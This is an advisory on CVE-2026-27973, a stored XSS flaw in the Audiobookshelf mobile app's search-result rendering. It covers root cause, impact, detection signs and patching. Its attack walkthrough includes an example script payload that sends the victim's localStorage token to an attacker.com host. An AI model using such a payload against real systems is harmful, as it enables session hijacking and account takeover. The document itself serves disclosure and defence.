CVE-2026-27973: 
NixOS vulnerability analysis and mitigation

CVE-2026-27973 is a stored cross-site scripting (XSS) vulnerability in the Audiobookshelf mobile application affecting versions prior to 0.12.0-beta (app) and server versions prior to 2.12.0. The flaw exists in the ItemSearchCard.vue component, which renders search result highlights using Vue's v-html directive without sanitizing library metadata. It was published on February 26, 2026, with a patch released in audiobookshelf-app version 0.12.0-beta and server version 2.12.0. The vulnerability carries a CVSS v3.1 base score of 4.0–4.8 (Medium), depending on the scoring source (GitHub Advisory, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in components/cards/ItemSearchCard.vue. The matchHtml() computed property reconstructs search result strings by splitting on the search term and re-joining with <strong> tags, but does not HTML-escape the surrounding metadata content (title, author, series, etc.) before passing it to Vue's v-html directive. An attacker with library modification privileges can set a book's metadata field (e.g., title) to include a malicious JavaScript payload; when a victim searches for text that matches part of that field, the unsanitized HTML is rendered in the mobile app's WebView, triggering code execution. Exploitation requires server version 2.11.0 or earlier, as newer server versions no longer return the matchText and matchKey fields in search API responses (GitHub Advisory, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser or mobile WebView (Android/iOS via Capacitor), enabling session hijacking through theft of access tokens stored in localStorage, data exfiltration, and unauthorized access to native device APIs. If an administrator user is targeted, the attacker could gain full administrative control of the Audiobookshelf server. Availability impact is minimal, though the app may crash; confidentiality and integrity are both rated Low due to the scoped nature of the attack (GitHub Advisory).

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation as of the time of disclosure. The EPSS score is approximately 0.04%, reflecting low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high privileges (library modification access), user interaction (victim must perform a search), and a server running version 2.11.0 or earlier, significantly limiting the attack surface (GitHub Advisory, Red Hat CVE).

1. Gain library modification privileges: Obtain an Audiobookshelf account with library management permissions (not necessarily administrator) on a server running version 2.11.0 or earlier.
2. Inject malicious metadata: Edit or add a library item (e.g., audiobook) and set a metadata field such as the title to include a JavaScript payload, for example: Harmless Book Title<script>fetch('https://attacker.com/?token='+localStorage.getItem('token'))</script>.
3. Wait for victim interaction: The victim must use the mobile app (v0.11.0-beta or earlier) and search for text that partially matches the malicious metadata field (e.g., searching for "Harm" would match "Harmless").
4. XSS triggers via search results: The ItemSearchCard.vue component's matchHtml() function reconstructs the search result string and passes unsanitized HTML to v-html, causing the injected script to execute in the victim's WebView.
5. Exfiltrate session token: The payload executes in the WebView context, reads the access token from localStorage, and sends it to an attacker-controlled server, potentially granting full account access (GitHub Advisory).

• Network: Unexpected outbound HTTP requests from the mobile device to external/unknown domains originating from the Audiobookshelf app process, particularly containing token or session data in query parameters.
• Logs: Audiobookshelf server access logs showing unusual API calls to search endpoints followed by outbound connections; server logs showing metadata fields containing HTML tags or JavaScript syntax (<script>, onerror=, javascript:) in library item records.
• Application Data: Library items with metadata fields (title, author, series, narrator, tags, ISBN, ASIN) containing HTML tags, JavaScript event handlers, or encoded payloads.
• User Accounts: Unexpected logins or API activity using valid session tokens from unfamiliar IP addresses or devices, potentially indicating stolen token reuse (GitHub Advisory).

The primary remediation is to update the Audiobookshelf server to version 2.12.0 or later and the mobile application to version 0.12.0-beta or later, which removes the vulnerable matchHtml() computed property and eliminates the use of v-html for unsanitized metadata (Patch Commit). As a workaround prior to patching, restrict library modification privileges to only fully trusted users, since the attack requires an account with library management access. Additionally, implementing Content Security Policy (CSP) headers can limit the impact of any JavaScript execution, and administrators should audit existing library metadata for suspicious HTML or script content (GitHub Advisory).

The vulnerability was reported by security researcher michael-tyl and disclosed via GitHub's security advisory program. The advisory was published at a Moderate severity level by the project maintainer (advplyr). Coverage was picked up by automated CVE tracking services and aggregators including Vulners, CVEFeed, and ENISA's EUVD shortly after disclosure, with a brief mention on Bluesky CVE tracking accounts. No significant vendor statements beyond the GitHub advisory or notable independent researcher commentary have been identified (GitHub Advisory).